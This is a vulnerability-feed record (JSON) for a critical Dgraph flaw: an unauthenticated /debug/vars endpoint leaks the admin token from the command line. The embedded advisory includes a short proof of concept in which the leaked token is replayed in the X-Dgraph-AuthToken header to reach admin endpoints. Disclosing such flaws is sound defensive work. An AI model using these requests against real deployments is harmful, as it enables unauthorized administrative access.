{"id":"CVE-2026-41492","aliases":["GHSA-vvf7-6rmr-m29q","GO-2026-5675"],"title":"Dgraph: Unauthenticated Admin Token Disclosure Leading to Authentication Bypass via /debug/vars","summary":"Dgraph: Unauthenticated Admin Token Disclosure Leading to Authentication Bypass via /debug/vars","severity":"critical","cvss":9.8,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","vendor":"dgraph-io","product":"github.com/dgraph-io/dgraph/v25","ecosystem":"go","affected":["github.com/dgraph-io/dgraph/v25 < 25.3.3","github.com/dgraph-io/dgraph/v24 <= 24.1.8","github.com/dgraph-io/dgraph <= 1.2.8"],"patched":["github.com/dgraph-io/dgraph/v25 25.3.3"],"published":"2026-04-24","updated":"2026-07-23","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-vvf7-6rmr-m29q","references":[{"url":"https://github.com/dgraph-io/dgraph/security/advisories/GHSA-vvf7-6rmr-m29q"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41492"},{"url":"https://github.com/dgraph-io/dgraph"},{"url":"https://github.com/dgraph-io/dgraph/releases/tag/v25.3.3"}],"tags":["osv","go","exploit-available"],"epss":0.03082,"epssPercentile":0.87111,"ingestedAt":"2026-07-23T19:05:53.887Z","exploits":{"nuclei":["CVE-2026-41492"],"checkedAt":"2026-09-23T07:14:04.208Z"},"exploitAvailable":true,"slug":"CVE-2026-41492","body":"## Overview\n\n### Summary\nDgraph `v25.3.2` still exposes the process command line through the unauthenticated `/debug/vars` endpoint on Alpha. Because the admin token is commonly supplied via the `--security \"token=...\"` startup flag, an unauthenticated attacker can retrieve that token and replay it in the `X-Dgraph-AuthToken` header to access admin-only endpoints.\n\nThis is a variant of the previously fixed `/debug/pprof/cmdline` issue, but the current fix is incomplete because it blocks only `/debug/pprof/cmdline` and still serves `http.DefaultServeMux`, which includes `expvar`'s `/debug/vars` handler.\n\n### Details\nAlpha still exposes Go's default HTTP mux:\n\n- `x/metrics.go`\n  - imports `expvar`\n  - initializes `Conf = expvar.NewMap(\"dgraph_config\")`\n- Go's `expvar` package automatically registers `/debug/vars`\n- `expvar` publishes:\n  - `cmdline = os.Args`\n  - `memstats = runtime.Memstats`\n\nAlpha's HTTP handler explicitly blocks only the old CVE path:\n\n- `dgraph/cmd/alpha/run.go`\n  - checks `if r.URL.Path == \"/debug/pprof/cmdline\"` and returns `404`\n  - otherwise falls through to `http.DefaultServeMux.ServeHTTP(w, r)`\n\nAdmin endpoints still trust the leaked token:\n\n- `dgraph/cmd/alpha/admin.go`\n  - reads `X-Dgraph-AuthToken`\n  - compares it to `worker.Config.AuthToken`\n### PoC\n1. Send an unauthenticated request to Alpha:\n\n```http\nGET /debug/vars HTTP/1.1\nHost: target:8080\n```\n\n2. Parse the JSON response and read the `cmdline` field.\n\n3. Extract the admin token from the startup arguments, for example:\n\n```text\n--security token=debug-vars-secret;\n```\n\n4. Replay the token to an admin-only endpoint:\n\n```http\nGET /admin/config/cache_mb HTTP/1.1\nHost: target:8080\nX-Dgraph-AuthToken: debug-vars-secret\n```\n\n5. The request is accepted as an authorized admin request.\n\nThis was reproduced against `dgraph/dgraph:v25.3.2` in Docker.\n\nObserved behavior:\n\n- unauthenticated `/debug/vars` leaked the configured token\n- replaying the leaked token in `X-Dgraph-AuthToken` successfully accessed `/admin/config/cache_mb`\n- response body was:\n\n```text\n4096\n```\n\nIt was verified that the old CVE path appears specifically patched in the same version:\n\n- `/debug/pprof/cmdline` returned `404 Not Found`\n- `/debug/pprof/` remained reachable\n\n### Impact\nUnauthenticated attackers can obtain the Alpha admin token and gain unauthorized administrative access.\n\nThis enables privileged admin operations such as:\n\n- reading privileged admin configuration\n- mutating admin configuration\n- performing operational control actions gated by `X-Dgraph-AuthToken`\n\nIn deployments where the Alpha HTTP port is reachable by untrusted parties, this is a practical authentication bypass to admin functionality.\n\n## Affected packages\n\n- `github.com/dgraph-io/dgraph/v25 < 25.3.3`\n- `github.com/dgraph-io/dgraph/v24 <= 24.1.8`\n- `github.com/dgraph-io/dgraph <= 1.2.8`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `github.com/dgraph-io/dgraph/v25 25.3.3`","depth":"abyssal","depthScore":67,"depthScoreParts":{"impact":53.9,"likelihood":0.6,"exploitation":12,"ransomware":0},"changes":[{"seq":5185,"id":"CVE-2026-41492","ts":1788887252133,"field":"exploit_available","old":"false","new":"true"},{"seq":4068,"id":"CVE-2026-41492","ts":1788886368124,"field":"exploit_available","old":"true","new":"false"},{"seq":2857,"id":"CVE-2026-41492","ts":1788883034672,"field":"exploit_available","old":"false","new":"true"},{"seq":1886,"id":"CVE-2026-41492","ts":1788882437601,"field":"exploit_available","old":"true","new":"false"},{"seq":983,"id":"CVE-2026-41492","ts":1788881872134,"field":"exploit_available","old":"false","new":"true"}]}